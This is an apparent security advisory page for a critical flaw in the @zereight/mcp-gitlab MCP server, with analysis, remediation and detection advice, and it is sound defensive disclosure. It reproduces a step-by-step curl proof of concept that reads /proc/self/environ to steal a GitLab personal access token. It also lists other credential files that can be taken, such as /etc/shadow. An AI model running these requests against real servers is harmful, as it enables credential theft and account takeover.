NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-61560: @zereight/mcp-gitlab: Unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover

criticalCVSS 3.1 9.8GHSA-cv3r-c5h8-f4g5

@zereight/mcp-gitlab before 2.1.27 exposes all its tools over SSE with no authentication, and the `upload_markdown` tool reads any server file. A network attacker can upload `/proc/self/environ` to a GitLab project, read the GitLab personal access token and take over the account. Upgrade to 2.1.27.

Published Sep 16, 2026 · Analysis Oct 22, 2026

What an attacker can do

Two flaws chain. First, with SSE=true, the mode the project's Docker setup uses, the /sse and /messages endpoints in src/index.ts have no authentication. Anyone who reaches the port can open a session and call the 100+ tools with the server's configured PAT. REMOTE_AUTHORIZATION=true cannot be combined with SSE, so there is no per-request auth to switch on.

Second, upload_markdown in the users toolset, which is on by default, passes file_path to fs.readFileSync after only an existence check. The Zod schema is a bare z.string(). The tool uploads the content to a GitLab project through POST /projects/:id/uploads.

The attacker opens a session, finds a writable project with list_projects, calls upload_markdown on /proc/self/environ, then downloads the upload from GitLab. The file holds GITLAB_PERSONAL_ACCESS_TOKEN=glpat-.... With it the attacker has the token owner's GitLab access: repositories, CI/CD secrets and variables, deploy keys and admin functions if the owner is an admin. The Dockerfile has no USER directive, so the process runs as root and can also read /etc/shadow, source files and OAuth token files. The compose file maps 3002:3002, which binds all interfaces by default.

Who is affected

@zereight/mcp-gitlab below 2.1.27, running with SSE=true, with a personal access token configured. The default Docker deployment matches. Stdio-only use is not network reachable, though the file-read flaw in the tool still applies to whoever controls the client.

npm ls @zereight/mcp-gitlab

For Docker, check the image tag and whether port 3002 is published beyond localhost.

@zereight/mcp-gitlab

Ecosystem
npm
Affected
< 2.1.27
Fixed in
2.1.27
Check
npm ls @zereight/mcp-gitlab

How to fix it

Upgrade to 2.1.27:

npm install @zereight/[email protected]

The release notes list "guard exposed SSE transport" (pull request 554) and "restrict dynamic GitLab API hosts" (pull request 553). The page does not describe the exact auth mechanism or whether file_path is now restricted, so read those pull requests before relying on a setting. Until you upgrade, do not publish port 3002 to untrusted networks, bind it to 127.0.0.1, and rotate the GitLab token if the service was reachable.

How to tell if you were hit

Check GitLab project uploads for files named environ or other files that look like system or config files, and check which account created them. In the MCP server's access logs, look for /sse and /messages requests from unknown addresses and tools/call messages with upload_markdown and absolute file_path values. In GitLab, review audit events and token use from unfamiliar IPs, and rotate the PAT if you find any.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The SSE transport mode (SSE=true) exposes all MCP tools without any authentication. The upload_markdown tool reads arbitrary files from the server's local filesystem via an unsanitized file_path parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read /proc/self/environ to steal the server's GITLAB_PERSONAL_ACCESS_TOKEN and achieve full GitLab account takeover. This is the default configuration for Docker deployments.

Details

Two issues chain together:

1. No authentication on SSE transport (`src/index.ts:7350-7388`)

When SSE=true (the intended mode for Docker deployments per docker-compose.yaml), the /sse and /messages endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.

// src/index.ts:7354 — no auth check
app.get("/sse", async (_: Request, res: Response) => {
    const serverInstance = createServer();
    const transport = new SSEServerTransport("/messages", res);
    await serverInstance.connect(transport);
});

Remote Authorization (REMOTE_AUTHORIZATION=true) is explicitly incompatible with SSE mode (src/index.ts:1833-1839), so there is no way to add per-request auth in this transport.

2. Arbitrary file read in `upload_markdown` (`src/index.ts:5461-5503`)

The upload_markdown tool calls fs.readFileSync(filePath) where filePath comes directly from user input with no validation. The Zod schema (src/schemas.ts:2150-2153) defines file_path as z.string() with no path restrictions, allowlists, or sandboxing.

async function markdownUpload(projectId: string, filePath: string) {
    if (!fs.existsSync(filePath)) {
        throw new Error(`File not found: ${filePath}`);
    }
    const fileBuffer = fs.readFileSync(filePath);  // Arbitrary file read — no path validation
    // ... uploads to GitLab project via POST /projects/:id/uploads
}

This tool is in the users toolset, which is enabled by default.

Docker amplification: The Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default, exposing the unauthenticated endpoint to the network.

PoC

Prerequisites:

  • A running @zereight/mcp-gitlab instance with SSE=true and GITLAB_PERSONAL_ACCESS_TOKEN set (this is the default Docker deployment config)
  • Network access to the server's port (default: 3002)
  • A GitLab project ID the PAT has write access to (use list_projects to enumerate)

Steps:

# 1. Connect to the unauthenticated SSE endpoint and capture the session ID
SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')

# 2. (Optional) Enumerate accessible projects to find a writable project ID
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "list_projects",
      "arguments": {"owned": true}
    }
  }'

# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)
#    and upload it to a GitLab project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "upload_markdown",
      "arguments": {
        "project_id": "<WRITABLE_PROJECT_ID>",
        "file_path": "/proc/self/environ"
      }
    }
  }'

# 4. The response contains a GitLab upload URL like:
#    {"markdown": "![environ](/uploads/abc123def456/environ)", "url": "/uploads/abc123def456/environ"}
#
# 5. Retrieve the uploaded file from GitLab:
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"

# 6. The file contains NUL-separated environment variables including:
#    GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
#
# 7. Use the stolen PAT for full GitLab API access:
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"

Other exfiltrable targets (running as root in Docker):

| File | Contents |
| `/proc/self/environ` | All env vars including `GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx` |
| `/proc/self/cmdline` | Command line args (token if passed via CLI) |
| `/etc/shadow` | System password hashes |
| `/app/build/index.js` | Full application source code |
| `~/.gitlab-mcp-token.json` | OAuth tokens (if OAuth mode was used) |

Impact

Unauthenticated full GitLab account takeover. Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments

Credited to gil-maman-p, hodaya-prz.

Questions

Does the attacker need credentials?

No. The SSE transport has no authentication, so anyone who can reach the port can call the tools with the server's PAT.

What does the attacker get?

The server's GitLab personal access token, read from /proc/self/environ, and with it the owner's access to repositories, CI/CD variables and, for admins, admin functions.

Is the default Docker setup exposed?

Per the advisory, yes. The docker-compose file uses SSE mode, publishes 3002 on all interfaces and the container runs as root.

Is it exploited in the wild?

No source says so, and it is not in CISA's KEV catalog.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries